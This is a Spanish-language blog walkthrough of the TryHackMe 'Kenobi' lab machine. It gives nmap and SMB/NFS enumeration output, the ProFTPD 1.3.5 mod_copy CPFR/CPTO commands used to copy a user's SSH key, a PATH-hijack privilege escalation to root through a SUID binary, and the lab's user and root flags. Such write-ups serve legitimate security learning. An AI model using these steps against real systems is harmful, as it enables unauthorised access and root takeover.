Inicio Tryhackme - Kenobi
Entrada
Cancelar

Tryhackme - Kenobi

Esta máquina dispone de varios pasos que permite conocer varios protocolos como SMB, SSH o montar unidades NFS en el sistema.

El acceso inicial se hace montando directorios del sistema mediante FTP para obtener una clave SSH.

Una vez se accede, la escalada de privilegios se hará mediante uno de los métodos más conocidos en Linux, como es la explotación de ejecutables con permisos SUID.

Enumeración.

Se lanza un escaneo de puertos añadiendo los parámetros para conocer las versiones, y que se lancen los scripts nse más usados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-17 19:23 GMT
Nmap scan report for 10.10.6.212
Host is up (0.039s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100003  2,3,4       2049/udp   nfs
|   100003  2,3,4       2049/udp6  nfs
|   100005  1,2,3      37929/tcp   mountd
|   100005  1,2,3      38832/udp   mountd
|   100005  1,2,3      51870/udp6  mountd
|   100005  1,2,3      59829/tcp6  mountd
|   100021  1,3,4      41103/tcp6  nlockmgr
|   100021  1,3,4      42137/tcp   nlockmgr
|   100021  1,3,4      43381/udp6  nlockmgr
|   100021  1,3,4      49969/udp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     2-3 (RPC #100227)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m02s, deviation: 2h53m12s, median: 1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2021-03-17T14:24:00-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-03-17T19:24:00
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.65 seconds

Al ver que uno de los shares del protocolo Samba tiene habilitado el acceso invitado, se lanzan los scripts nse para enumerar dicho protocolo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.6.21

Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-17 19:31 GMT
Nmap scan report for 10.10.6.212
Host is up (0.040s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.6.212\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.6.212\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.6.212\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>
|_smb-enum-users: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 7.21 seconds

Se verifica el acceso anónimo al share anonymous, por tanto, usando el comando smbclient se accede al sistema de ficheros.

Se puede ver que existe un fichero llamado log, el cual se obtiene con get.

1
2
3
4
5
6
7
8
9
smbclient //10.10.6.212/anonymous
Enter WORKGROUP\secureroy's password: 
Try "help" to get a list of possible commands.
smb: \> ls 
  .                                   D        0  Wed Sep  4 11:49:09 2019
  ..                                  D        0  Wed Sep  4 11:56:07 2019
  log.txt                             N    12237  Wed Sep  4 11:49:09 2019

		9204224 blocks of size 1024. 6877092 blocks available
1
2
get log.txt 
getting file \log.txt of size 12237 as log.txt (48.8 KiloBytes/sec) (average 48.8 KiloBytes/sec)

Se puede ver que el contenido del fichero indica que un usuario llamado kenobi ha creado una pareja de claves de SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): 
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

En dicho puerto no se puede hacer más por el momento, por ello, se lanzan los scripts nse en el puerto de rpc (111) para que se listen los recursos nfs que tenga compartidos.

Se descubre que el directorio /var se encuentra compartido y que adema

1
2
3
4
5
6
7
8
9
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.6.212
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-17 19:54 GMT
Nmap scan report for 10.10.6.212
Host is up (0.19s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *

Entonces, se debe montar en la máquina local dicha partición remota.

Para ello, se debe usar el comando mount, aunque se debe disponer del paquete nfs-common para montar unidades remotas mediante el protocolo NFS.

Acceso inicial.

Se buscan algún exploit del programa proftp en su versión 1.3.5 y se encuentra una del módulo mod_copy.

La vulnerabilidad hace uso de los comandos cpfr y cpto para copiar la ruta elegida donde se defina en el destino.

Entonces, se mediante el comando netcat se accede al puerto 21, el cual permite el acceso anónimo, y así poder lanzar los comandos para montar el directorio personal del usuario kenobi en la ruta /var y así poder acceder mediante el montaje hecho previamente.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nc 10.10.65.29 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.65.29]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
 CPFR <sp> pathname
 CPTO <sp> pathname
 HELP
 CHGRP
 CHMOD
214 Direct comments to root@kenobi
site cpfr /home/kenobi 
350 File or directory exists, ready for destination name
site cpto /var/tmp/
250 Copy successf


Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds
1
2
3
4
site cpfr /home/kenobi
350 File or directory exists, ready for destination name
site cpto /var/tmp
250 Copy successful

Accediendo entonces al directorio montado, se puede obtener la clave privada SSH para acceder mediante dicho protocolo a la máquina.

Se consigue la flag del usuario (d0b0f3f53b6caa532a83915e19224899)

Escalada de privilegios.

Una vez dentro de la máquina, se debe enumerar una posible escalada de privilegios, empezando por la bñusqueda de ficheros ejecutables con permisos SUID.

1
find / -perm -u=s -type f 2>/dev/null

Se encuentran varios, pero entre ellos, uno que no suele darse habitualmente, el que tiene la ruta /var/bin/menu.

Se buscan cadenas de texto en el fichero, mediante el comando strings , viendo que se lanza el comando ifconfig sin indicar la ruta completa, lo que hace que se pueda explotar mediante la variable $PATH.

Por tanto, desde el directorio actual (con permisos de escritura, por eso en este caso se hace en /tmp) se crea un fichero llamado ifconfig que contiene la llamada a una shell.

1
echo /bin/bash > ifconfig

Se le dan permisos de ejecución.

1
chmod u+x ifconfig

Por último, se añade la ruta actual en la variable $PATH, en primer lugar, puesto que cuando se ejecuta un comando, éste, verifica la variable y busca el nombre del ejecutable en las rutas definidas, en el orden indicado.

1
PATH=/tmp:$PATH

Quedando así.

1
2
echo $PATH
/tmp:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Se ejecuta el fichero ejecutable, indicando la opción que ejecute el comendo necesario, obteniendo una shell con el usuario root.

Para terminar, se obtiene la flag del usuario root, vulnerando la máquina completamente.

1
2
cat root.txt
177b3cd8562289f37382721c28381f02
Esta entrada está licenciada bajo CC BY 4.0 por el autor.